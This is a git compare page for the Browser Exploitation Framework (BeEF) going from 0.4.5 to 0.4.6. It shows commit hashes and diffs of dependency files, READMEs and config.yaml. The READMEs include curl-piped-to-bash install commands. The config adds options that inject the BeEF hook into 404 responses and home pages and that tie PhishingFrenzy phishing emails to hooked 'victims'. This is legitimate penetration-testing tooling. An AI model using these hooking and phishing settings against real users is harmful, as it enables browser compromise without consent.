Compare commits
345 Commits
beef-0.4.5
...
beef-0.4.6
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d3e1d5b506 | ||
|
|
5d302cd74c | ||
|
|
aaefde9b43 | ||
|
|
bcd2dd1b32 | ||
|
|
7f29e676b3 | ||
|
|
cbfe472eb7 | ||
|
|
326e9536d6 | ||
|
|
a1f0eb90c5 | ||
|
|
13593990e5 | ||
|
|
526cd42170 | ||
|
|
d737bb19c2 | ||
|
|
83e8bf5186 | ||
|
|
61af18858e | ||
|
|
ea9549adbe | ||
|
|
c9fac43b2d | ||
|
|
f891d963d7 | ||
|
|
6f56f00a18 | ||
|
|
968ed12849 | ||
|
|
06bbfe9c3b | ||
|
|
c387778959 | ||
|
|
d9012d0f15 | ||
|
|
0d3c123e26 | ||
|
|
d05397e0a9 | ||
|
|
12d64d1165 | ||
|
|
916828e131 | ||
|
|
694ec61a02 | ||
|
|
8b4ad51899 | ||
|
|
1f40987355 | ||
|
|
c9c9bfa6ee | ||
|
|
96dcba967b | ||
|
|
7b234c9b98 | ||
|
|
de13116182 | ||
|
|
5de857f710 | ||
|
|
4413cde187 | ||
|
|
a98ca1ff98 | ||
|
|
423b66f424 | ||
|
|
1aaf529fdd | ||
|
|
f24dd22b05 | ||
|
|
ba990e2869 | ||
|
|
68c1f87c42 | ||
|
|
a5c2ca8441 | ||
|
|
f51571d8b3 | ||
|
|
b7fd36aeaa | ||
|
|
83f88ad401 | ||
|
|
e31f0b8c44 | ||
|
|
16622b13a5 | ||
|
|
e7bc352db2 | ||
|
|
e17a48fae2 | ||
|
|
b646535be3 | ||
|
|
a35f42da5b | ||
|
|
e66183a3ba | ||
|
|
3bec9b2702 | ||
|
|
c729408d4b | ||
|
|
f228f256de | ||
|
|
3fa857525e | ||
|
|
11291e9577 | ||
|
|
23533746a4 | ||
|
|
8f46ed8c26 | ||
|
|
a826b89480 | ||
|
|
6bdf829126 | ||
|
|
c75b7a633d | ||
|
|
e5407af2a0 | ||
|
|
83fa1efe0d | ||
|
|
03ecd61781 | ||
|
|
518fb5d874 | ||
|
|
f66a08f072 | ||
|
|
4746829153 | ||
|
|
d0c48ce026 | ||
|
|
e21c8286c5 | ||
|
|
87476c5217 | ||
|
|
ad87ea7a56 | ||
|
|
dad3be1b91 | ||
|
|
0261c1d56f | ||
|
|
0cc9f53aae | ||
|
|
aee7aed755 | ||
|
|
152ddc5118 | ||
|
|
2220b95b49 | ||
|
|
4db4354c24 | ||
|
|
0657a3f1f9 | ||
|
|
03f6b29506 | ||
|
|
4c7aa8f677 | ||
|
|
f973b8dc3e | ||
|
|
bff02aaea5 | ||
|
|
86f99d5a51 | ||
|
|
46113db2b8 | ||
|
|
791c9d1461 | ||
|
|
32434075f8 | ||
|
|
6fcca972c8 | ||
|
|
90bfca16c6 | ||
|
|
4126a5530e | ||
|
|
1e06bb6c17 | ||
|
|
75312e4c99 | ||
|
|
3b46bf1a94 | ||
|
|
d863bb8f96 | ||
|
|
c46cd03de8 | ||
|
|
abaa6a745d | ||
|
|
b0526362ad | ||
|
|
9d7d0a1071 | ||
|
|
ff9da502cb | ||
|
|
1c7663f96d | ||
|
|
54b58c2e72 | ||
|
|
bf0f59e5d0 | ||
|
|
add6059a8c | ||
|
|
f26302c52b | ||
|
|
803e153f8c | ||
|
|
0afac0171d | ||
|
|
f5d2c2028b | ||
|
|
73e16e4aff | ||
|
|
234a6e2016 | ||
|
|
fbe56bf9f1 | ||
|
|
d569c63be3 | ||
|
|
944ba747da | ||
|
|
5fc1294ca1 | ||
|
|
c099be75ed | ||
|
|
f329c7331a | ||
|
|
c69b6412e0 | ||
|
|
c28d53aa41 | ||
|
|
23cf229dad | ||
|
|
6809ec9914 | ||
|
|
d39da9a67b | ||
|
|
7e3ee5fc50 | ||
|
|
4ff2a09552 | ||
|
|
e11ab70c61 | ||
|
|
4b8aa2d0a2 | ||
|
|
7fc65a70af | ||
|
|
fef015709b | ||
|
|
0623b8f667 | ||
|
|
1838b6c24a | ||
|
|
16ecb32e46 | ||
|
|
53a05d1901 | ||
|
|
24dab8b1c9 | ||
|
|
5b33389746 | ||
|
|
d3165c2d97 | ||
|
|
8664f694dc | ||
|
|
5d9c62967d | ||
|
|
d75adc0899 | ||
|
|
b105288a9b | ||
|
|
1318ccf019 | ||
|
|
a168274e7e | ||
|
|
df08d99cd5 | ||
|
|
1ab979553c | ||
|
|
631bc1e9ef | ||
|
|
ceab91d53a | ||
|
|
bf75e61382 | ||
|
|
c0fe6dfcfa | ||
|
|
eb2a380c92 | ||
|
|
9e28e9075d | ||
|
|
b3df91a8c5 | ||
|
|
615fd63825 | ||
|
|
8a8ea35265 | ||
|
|
a9833fd538 | ||
|
|
2fbca61368 | ||
|
|
67c06f17b7 | ||
|
|
3944477b29 | ||
|
|
617b46527d | ||
|
|
74c8dc7bcd | ||
|
|
b0cfe3cfdb | ||
|
|
d6cbc63da4 | ||
|
|
a96867b6cd | ||
|
|
9268ba9f5e | ||
|
|
294a7cb5c6 | ||
|
|
1c2559fe4a | ||
|
|
b905455e8b | ||
|
|
4193709845 | ||
|
|
80a9f8ed3b | ||
|
|
decdb6c39d | ||
|
|
352b7cd07f | ||
|
|
979493c61f | ||
|
|
63c2485e75 | ||
|
|
614b065115 | ||
|
|
2ff49ecb79 | ||
|
|
46ac92f668 | ||
|
|
a1e172ba0a | ||
|
|
ec1db7233d | ||
|
|
faf1884a4c | ||
|
|
38fa28658f | ||
|
|
9e7f46cb8a | ||
|
|
2785dccdf0 | ||
|
|
a99b6173d9 | ||
|
|
1649b87567 | ||
|
|
029ae3d66d | ||
|
|
02a1b5b4a0 | ||
|
|
5fafe02781 | ||
|
|
62d7a6c598 | ||
|
|
caebadf158 | ||
|
|
99f873b19b | ||
|
|
9d22c09f9d | ||
|
|
75cf0a1cdf | ||
|
|
8cdb9f990a | ||
|
|
c573c5bd46 | ||
|
|
debd3bc2c9 | ||
|
|
cc0993a2eb | ||
|
|
fb5712131e | ||
|
|
8e3c8e4b88 | ||
|
|
e8f5c0d265 | ||
|
|
53dd7ee5fb | ||
|
|
6f1f8cf65c | ||
|
|
00b6b42951 | ||
|
|
52f7a9cbca | ||
|
|
30cfb7002d | ||
|
|
451ff7d002 | ||
|
|
13bcc9bbee | ||
|
|
22a4fdb047 | ||
|
|
ee2ebc26b3 | ||
|
|
7aec038505 | ||
|
|
1f6278ca91 | ||
|
|
610985268c | ||
|
|
50a9784606 | ||
|
|
01758a12ef | ||
|
|
cb7a36e8dc | ||
|
|
04b3bee8cf | ||
|
|
d45c116414 | ||
|
|
37046464a3 | ||
|
|
46ca236c10 | ||
|
|
18efaf7f52 | ||
|
|
79947ab6eb | ||
|
|
9b92e0da35 | ||
|
|
a134e535c2 | ||
|
|
1e88894c98 | ||
|
|
4c945e018e | ||
|
|
cfa8a4ae26 | ||
|
|
209a488c77 | ||
|
|
3a9c027ef3 | ||
|
|
411399f4cf | ||
|
|
252f58e3b9 | ||
|
|
cd06076d92 | ||
|
|
ff1199ab87 | ||
|
|
9e43f0b68e | ||
|
|
4fcc1dc562 | ||
|
|
22dbc2efbe | ||
|
|
76ce3babe2 | ||
|
|
2683c3d587 | ||
|
|
0441868e59 | ||
|
|
c35286da59 | ||
|
|
d4736e071f | ||
|
|
7e18f6255e | ||
|
|
7c5011ac97 | ||
|
|
8653356810 | ||
|
|
893afe0317 | ||
|
|
9266cc9e41 | ||
|
|
85937f7f70 | ||
|
|
ec203935de | ||
|
|
bc56be0a7f | ||
|
|
c24a8c2ec5 | ||
|
|
a18a74c82a | ||
|
|
ee8176b2ba | ||
|
|
ccc8a5a02d | ||
|
|
a40e8ca8de | ||
|
|
f6eb275f3f | ||
|
|
ad95ce8179 | ||
|
|
23eab81d2a | ||
|
|
9942edc118 | ||
|
|
8ccc8f8b2e | ||
|
|
1ac84fea9d | ||
|
|
d49588b74a | ||
|
|
450753a9bc | ||
|
|
c8e5260820 | ||
|
|
0da381c486 | ||
|
|
e7884381f4 | ||
|
|
06717b4077 | ||
|
|
2d3ac97f5e | ||
|
|
d7e062ea67 | ||
|
|
11d63bc6a8 | ||
|
|
93b053b5a9 | ||
|
|
811b490615 | ||
|
|
b16d35232a | ||
|
|
6b93b09c2f | ||
|
|
d1688395ae | ||
|
|
f7df45ebd1 | ||
|
|
2c9633f08f | ||
|
|
015693038a | ||
|
|
aafceec4cb | ||
|
|
1681f69511 | ||
|
|
fb0cd7a195 | ||
|
|
cf4252585a | ||
|
|
9f76913b11 | ||
|
|
f490faa858 | ||
|
|
fd46915bf2 | ||
|
|
ce8e943be7 | ||
|
|
76d750681f | ||
|
|
055b5eec32 | ||
|
|
8e55545abd | ||
|
|
a4cbb9f74d | ||
|
|
d0fbba2e2d | ||
|
|
32fab589d6 | ||
|
|
dbeedb1d92 | ||
|
|
195e2ab830 | ||
|
|
6e50384719 | ||
|
|
55e36ff095 | ||
|
|
0ec566ac95 | ||
|
|
f628ce7ae9 | ||
|
|
8e6125f8c6 | ||
|
|
abe1370a50 | ||
|
|
4c2f80a3bc | ||
|
|
cd311b00e9 | ||
|
|
9068f91a63 | ||
|
|
bac0b5c57f | ||
|
|
07f1594a7a | ||
|
|
6bf0f9d648 | ||
|
|
e8e4180eee | ||
|
|
c61dee7275 | ||
|
|
5d3df16dc7 | ||
|
|
8dac5c95eb | ||
|
|
e1c27f4feb | ||
|
|
26cd0f08ad | ||
|
|
c63a55962a | ||
|
|
e8fc288ff7 | ||
|
|
fc024c8a8c | ||
|
|
76c09aa38a | ||
|
|
fe14601dfc | ||
|
|
e6b74d5186 | ||
|
|
0438cf422f | ||
|
|
3b3d7fe95e | ||
|
|
9b3dfacce1 | ||
|
|
82e4b1eac7 | ||
|
|
1d5afbb81e | ||
|
|
2e318030da | ||
|
|
34ec20cd0d | ||
|
|
acc6114541 | ||
|
|
32db367ada | ||
|
|
bca9eccdf0 | ||
|
|
94fc2805d1 | ||
|
|
7b229a2a20 | ||
|
|
ad25c49b2d | ||
|
|
01ad87250f | ||
|
|
820ba3a2e7 | ||
|
|
3ed4098c2f | ||
|
|
e791fca8a9 | ||
|
|
5d73d7f084 | ||
|
|
6385ddf85b | ||
|
|
bd9891dc4d | ||
|
|
53a54de5fe | ||
|
|
3029d3cea8 | ||
|
|
0dd9c193ec | ||
|
|
2303851498 | ||
|
|
56c686de64 | ||
|
|
ed986e4ed5 | ||
|
|
b345da0203 | ||
|
|
007f6302df | ||
|
|
861d66207d | ||
|
|
8c4ece815e | ||
|
|
7386a7708b | ||
|
|
f4d3858af6 | ||
|
|
d4ba3ec98c | ||
|
|
0f7f86e0f3 |
95
.gitignore
vendored
95
.gitignore
vendored
@@ -1,3 +1,4 @@
|
||||
### BeEF ###
|
||||
beef.db
|
||||
test/msf-test
|
||||
custom-config.yaml
|
||||
@@ -6,3 +7,97 @@ custom-config.yaml
|
||||
.rvmrc
|
||||
|
||||
*.lock
|
||||
|
||||
extensions/metasploit/msf-exploits.cache
|
||||
|
||||
# The following lines were created by https://www.gitignore.io
|
||||
|
||||
### Linux ###
|
||||
*~
|
||||
|
||||
# KDE directory preferences
|
||||
.directory
|
||||
|
||||
|
||||
### vim ###
|
||||
[._]*.s[a-w][a-z]
|
||||
[._]s[a-w][a-z]
|
||||
*.un~
|
||||
Session.vim
|
||||
.netrwhist
|
||||
*~
|
||||
|
||||
|
||||
### Emacs ###
|
||||
# -*- mode: gitignore; -*-
|
||||
*~
|
||||
\#*\#
|
||||
/.emacs.desktop
|
||||
/.emacs.desktop.lock
|
||||
*.elc
|
||||
auto-save-list
|
||||
tramp
|
||||
.\#*
|
||||
|
||||
# Org-mode
|
||||
.org-id-locations
|
||||
*_archive
|
||||
|
||||
# flymake-mode
|
||||
*_flymake.*
|
||||
|
||||
# eshell files
|
||||
/eshell/history
|
||||
/eshell/lastdir
|
||||
|
||||
# elpa packages
|
||||
/elpa/
|
||||
|
||||
# reftex files
|
||||
*.rel
|
||||
|
||||
# AUCTeX auto folder
|
||||
/auto/
|
||||
|
||||
# cask packages
|
||||
.cask/
|
||||
|
||||
|
||||
### nanoc ###
|
||||
# For projects using nanoc (http://nanoc.ws/)
|
||||
|
||||
# Default location for output, needs to match output_dir's value found in config.yaml
|
||||
output/
|
||||
|
||||
# Temporary file directory
|
||||
tmp/
|
||||
|
||||
# Crash Log
|
||||
crash.log
|
||||
|
||||
|
||||
### Windows ###
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
|
||||
|
||||
### TortoiseGit ###
|
||||
# Project-level settings
|
||||
/.tgitconfig
|
||||
|
||||
|
||||
@@ -1,2 +0,0 @@
|
||||
# Reference for old (<1.2) versions of BeEF Live
|
||||
bash /opt/beef/liveCD/BeEFLive.sh
|
||||
80
Gemfile
80
Gemfile
@@ -1,61 +1,65 @@
|
||||
# BeEF's Gemfile
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
gem "eventmachine", "1.0.3"
|
||||
gem "thin"
|
||||
gem "sinatra", "1.4.2"
|
||||
gem "rack", "1.5.2"
|
||||
gem "em-websocket", "~> 0.3.6" # WebSocket support
|
||||
gem "uglifier", "~> 2.2.1"
|
||||
gem 'eventmachine'
|
||||
gem 'thin'
|
||||
gem 'sinatra'
|
||||
gem 'rack'
|
||||
gem 'em-websocket', '~> 0.3.6' # WebSocket support
|
||||
gem 'uglifier', '~> 2.2.1'
|
||||
gem 'mime-types'
|
||||
|
||||
|
||||
# Windows support
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
|
||||
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
|
||||
gem "therubyracer", "~> 0.11.0beta1"
|
||||
gem "execjs"
|
||||
gem "win32console"
|
||||
elsif !RUBY_PLATFORM.downcase.include?("darwin")
|
||||
gem "therubyracer"
|
||||
gem "execjs"
|
||||
gem 'therubyracer', '~> 0.11.0beta1'
|
||||
gem 'execjs'
|
||||
gem 'win32console'
|
||||
elsif !RUBY_PLATFORM.downcase.include?('darwin')
|
||||
gem 'therubyracer', '0.11.3'
|
||||
gem 'execjs'
|
||||
end
|
||||
|
||||
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
gem "json"
|
||||
gem "data_objects"
|
||||
gem "dm-sqlite-adapter" # SQLite support
|
||||
gem 'ansi'
|
||||
gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'dm-core'
|
||||
gem 'json'
|
||||
gem 'data_objects'
|
||||
gem 'dm-sqlite-adapter' # SQLite support
|
||||
#gem dm-postgres-adapter # PostgreSQL support
|
||||
#gem dm-mysql-adapter # MySQL support
|
||||
gem "parseconfig"
|
||||
gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client" # Metasploit Integration extension
|
||||
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
|
||||
gem "rubyzip", ">= 1.0.0"
|
||||
gem "rubydns" # DNS extension
|
||||
gem "sourcify"
|
||||
gem "geoip" # geolocation support
|
||||
gem 'parseconfig'
|
||||
gem 'erubis'
|
||||
gem 'dm-migrations'
|
||||
gem 'msfrpc-client' # Metasploit Integration extension
|
||||
#gem 'twitter', '>= 5.0.0' # Twitter Notifications extension
|
||||
gem 'rubyzip', '>= 1.0.0'
|
||||
gem 'rubydns', '0.7.0' # DNS extension
|
||||
gem 'geoip' # geolocation support
|
||||
gem 'dm-serializer' # network extension
|
||||
gem 'qr4r' # QRcode extension
|
||||
|
||||
# For running unit tests
|
||||
if ENV['BEEF_TEST']
|
||||
gem "test-unit"
|
||||
gem "test-unit-full"
|
||||
gem "curb"
|
||||
gem "test-unit"
|
||||
gem "selenium"
|
||||
gem "selenium-webdriver"
|
||||
gem 'test-unit'
|
||||
gem 'test-unit-full'
|
||||
gem 'curb'
|
||||
gem 'selenium'
|
||||
gem 'selenium-webdriver'
|
||||
gem 'rspec'
|
||||
# nokogirl is needed by capybara which may require one of the below commands
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
gem 'capybara'
|
||||
# RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
gem 'rest-client', '~> 1.6.7'
|
||||
end
|
||||
|
||||
source "http://rubygems.org"
|
||||
source 'http://rubygems.org'
|
||||
|
||||
89
Gemfile.lock
Normal file
89
Gemfile.lock
Normal file
@@ -0,0 +1,89 @@
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
addressable (2.3.6)
|
||||
ansi (1.4.3)
|
||||
daemons (1.1.9)
|
||||
data_objects (0.10.14)
|
||||
addressable (~> 2.1)
|
||||
dm-core (1.2.1)
|
||||
addressable (~> 2.3)
|
||||
dm-do-adapter (1.2.0)
|
||||
data_objects (~> 0.10.6)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-migrations (1.2.0)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-sqlite-adapter (1.2.0)
|
||||
dm-do-adapter (~> 1.2.0)
|
||||
do_sqlite3 (~> 0.10.6)
|
||||
do_sqlite3 (0.10.14)
|
||||
data_objects (= 0.10.14)
|
||||
em-websocket (0.3.8)
|
||||
addressable (>= 2.1.1)
|
||||
eventmachine (>= 0.12.9)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.0.7)
|
||||
execjs (2.0.2)
|
||||
geoip (1.4.0)
|
||||
json (1.8.1)
|
||||
librex (0.0.68)
|
||||
libv8 (3.11.8.17)
|
||||
msfrpc-client (1.0.1)
|
||||
librex (>= 0.0.32)
|
||||
msgpack (>= 0.4.5)
|
||||
msgpack (0.5.8)
|
||||
multi_json (1.9.3)
|
||||
parseconfig (1.0.4)
|
||||
rack (1.5.2)
|
||||
rack-protection (1.5.3)
|
||||
rack
|
||||
rainbow (2.0.0)
|
||||
ref (1.0.5)
|
||||
rexec (1.6.3)
|
||||
rainbow
|
||||
rubydns (0.7.0)
|
||||
eventmachine (~> 1.0.0)
|
||||
rexec (~> 1.6.2)
|
||||
rubyzip (1.1.3)
|
||||
sinatra (1.4.2)
|
||||
rack (~> 1.5, >= 1.5.2)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (~> 1.3, >= 1.3.4)
|
||||
term-ansicolor (1.1.5)
|
||||
therubyracer (0.11.3)
|
||||
libv8 (~> 3.11.8.12)
|
||||
ref
|
||||
thin (1.6.2)
|
||||
daemons (>= 1.0.9)
|
||||
eventmachine (>= 1.0.0)
|
||||
rack (>= 1.0.0)
|
||||
tilt (1.4.1)
|
||||
uglifier (2.2.1)
|
||||
execjs (>= 0.3.0)
|
||||
multi_json (~> 1.0, >= 1.0.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
data_objects
|
||||
dm-core
|
||||
dm-migrations
|
||||
dm-sqlite-adapter
|
||||
em-websocket (~> 0.3.6)
|
||||
erubis
|
||||
eventmachine (= 1.0.3)
|
||||
execjs
|
||||
geoip
|
||||
json
|
||||
msfrpc-client
|
||||
parseconfig
|
||||
rack (= 1.5.2)
|
||||
rubydns (= 0.7.0)
|
||||
rubyzip (>= 1.0.0)
|
||||
sinatra (= 1.4.2)
|
||||
term-ansicolor
|
||||
therubyracer (= 0.11.3)
|
||||
thin
|
||||
uglifier (~> 2.2.1)
|
||||
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -51,8 +51,8 @@ Installation
|
||||
- XCode: provides the sqlite support BeEF needs
|
||||
|
||||
- Ruby 1.9
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -Ls https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p484
|
||||
$ rvm use 1.9.3
|
||||
|
||||
|
||||
8
README
8
README
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -24,7 +24,9 @@ Please, send us pull requests!
|
||||
|
||||
Web: http://beefproject.com/
|
||||
|
||||
Mail: beef-subscribe@bindshell.net
|
||||
Bugs: https://github.com/beefproject/beef
|
||||
|
||||
Security Bugs: security@beefproject.com
|
||||
|
||||
IRC: ircs://irc.freenode.net/beefproject
|
||||
|
||||
@@ -48,7 +50,7 @@ __The following is for the impatient.__
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
|
||||
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
$ bash -s stable < <(curl -Ls https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
|
||||
|
||||
Usage
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -24,7 +24,9 @@ __Please, send us pull requests!__
|
||||
|
||||
__Web:__ http://beefproject.com/
|
||||
|
||||
__Mail:__ beef-subscribe@bindshell.net
|
||||
__Bugs:__ https://github.com/beefproject/beef
|
||||
|
||||
__Security Bugs:__ security@beefproject.com
|
||||
|
||||
__IRC:__ ircs://irc.freenode.net/beefproject
|
||||
|
||||
@@ -48,7 +50,7 @@ __The following is for the impatient.__
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
|
||||
|
||||
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
$ curl -L https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
|
||||
|
||||
Usage
|
||||
|
||||
2
Rakefile
2
Rakefile
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
4
VERSION
4
VERSION
@@ -1,7 +1,7 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.5.0-alpha
|
||||
0.4.6.1-alpha
|
||||
|
||||
7
beef
7
beef
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -58,6 +58,11 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
|
||||
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
|
||||
end
|
||||
|
||||
# @note Check if interactive was specified from the command line, therefore override the extension to enable
|
||||
if BeEF::Core::Console::CommandLine.parse[:interactive] == true
|
||||
config.set('beef.extension.console.shell.enable',true)
|
||||
end
|
||||
|
||||
# @note Prints BeEF welcome message
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
|
||||
22
config.yaml
22
config.yaml
@@ -1,12 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.5.0-alpha'
|
||||
version: '0.4.6.1-alpha'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
@@ -33,7 +33,7 @@ beef:
|
||||
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
|
||||
# when hooking lots of browsers (50+).
|
||||
# Enabling WebSockets is generally better (beef.websocket.enable)
|
||||
xhr_poll_timeout: 5000
|
||||
xhr_poll_timeout: 1000
|
||||
|
||||
# Reverse Proxy / NAT
|
||||
# If BeEF is running behind a reverse proxy or NAT
|
||||
@@ -73,6 +73,8 @@ beef:
|
||||
web_server_imitation:
|
||||
enable: true
|
||||
type: "apache" # Supported: apache, iis, nginx
|
||||
hook_404: false # inject BeEF hook in HTTP 404 responses
|
||||
hook_root: false # inject BeEF hook in the server home page
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
@@ -119,6 +121,9 @@ beef:
|
||||
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
|
||||
allow_user_notify: true
|
||||
|
||||
# Enables DNS lookups on zombie IP addresses
|
||||
dns_hostname_lookup: false
|
||||
|
||||
# IP Geolocation
|
||||
# NOTE: requires MaxMind database:
|
||||
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
|
||||
@@ -127,12 +132,21 @@ beef:
|
||||
enable: false
|
||||
database: '/opt/GeoIP/GeoLiteCity.dat'
|
||||
|
||||
# Integration with PhishingFrenzy
|
||||
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
|
||||
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
|
||||
integration:
|
||||
phishing_frenzy:
|
||||
enable: false
|
||||
|
||||
# You may override default extension configuration parameters here
|
||||
extension:
|
||||
requester:
|
||||
enable: true
|
||||
proxy:
|
||||
enable: true
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
metasploit:
|
||||
enable: false
|
||||
social_engineering:
|
||||
@@ -146,4 +160,4 @@ beef:
|
||||
enable: true
|
||||
# this is still experimental, we're working on it..
|
||||
dns:
|
||||
enable: false
|
||||
enable: true
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
